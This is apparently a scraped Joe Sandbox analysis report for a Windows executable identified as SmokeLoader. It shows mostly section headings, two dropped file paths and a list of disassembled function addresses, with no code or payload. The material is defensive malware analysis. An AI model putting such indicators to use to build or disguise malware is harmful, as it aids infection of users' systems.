Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vwaoMjcyAw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\ifvwgru

C:\Users\user\AppData\Roaming\ifvwgru:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
vwaoMjcyAw.exe

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Function 00403005 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 02D095D9 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 02BB003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 02BB0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57
sleepCOMMON

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON